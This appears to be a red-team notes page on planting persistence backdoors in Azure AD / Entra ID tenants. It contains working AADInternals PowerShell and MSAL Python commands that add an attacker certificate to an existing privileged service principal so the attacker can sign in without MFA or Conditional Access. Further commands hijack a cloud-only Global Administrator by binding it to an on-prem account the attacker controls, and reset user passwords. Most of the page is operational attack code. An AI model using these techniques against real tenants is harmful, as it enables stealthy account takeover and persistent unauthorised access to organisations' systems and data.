> For the complete documentation index, see [llms.txt](https://jotter.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jotter.gitbook.io/red-team/cloud/azure-o365/backdoors.md).

# Backdoors

### Certificates on Service Principals

Adding a new certificate on an existing privilged service principal is a stealthy option, often bypassing CAPs.

```
# Get access token for Graph
$token = Get-AADIntAccessTokenForMSGraph -Credentials $syncCred

# Find existing SPs with high permissions (avoid creating new ones)
Get-AADIntServicePrincipals -AccessToken $token |
    Where-Object { $_.appRoles -match "ReadWrite" -or $_.oauth2Permissions -match "ReadWrite" }

# Add your cert to existing high-priv SP - no new entity, no role assignment
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("backdoor.crt")
Add-AADIntApplicationCertificate -ClientID $targetAppId -Certificate $cert -AccessToken $token

Then auth from anywhere via client_credentials — no CA, no MFA, no device check, forever (until cert expires or is removed):

app = msal.ConfidentialClientApplication(
    client_id=TARGET_APP_ID,
    authority=f"https://login.microsoftonline.com/{TENANT_ID}",
    client_credential={"thumbprint": THUMBPRINT, "private_key": open("backdoor.key").read()}
)
```

### Account Match Confusion

With `Directory.ReadWrite`, you can mismatch the connection between an Entra ID account and a local, on-prem AD account. A Global Administrator account can be thus assigned the password of an account you control on-prem.

```
# Authenticate as Sync_* cloud account
Get-AADIntAccessTokenForAADGraph -Credentials $syncCred -SaveToCache

# Find cloud-only privileged accounts (no immutableId = cloud-only)
Get-AADIntUsers | Where-Object {
    $_.immutableId -eq $null -and $_.UserPrincipalName -notmatch "onmicrosoft"
} | Select UserPrincipalName, Roles

# Pick a GA or privileged target. Get your on-prem account's objectGUID:
$guid = (Get-ADUser onprem_account_you_control).ObjectGUID
$immutableId = [Convert]::ToBase64String($guid.ToByteArray())

# Link cloud-only GA account to your on-prem account
Set-AADIntUserImmutableID -UserPrincipalName victim_ga@tenant.com -ImmutableID $immutableId
```

### Resetting User Passwords

```
Set-AADIntUserPassword -SourceAnchor $immutableId -Password "P@ssw0rd123!" -ChangeDate (Get-Date)
```
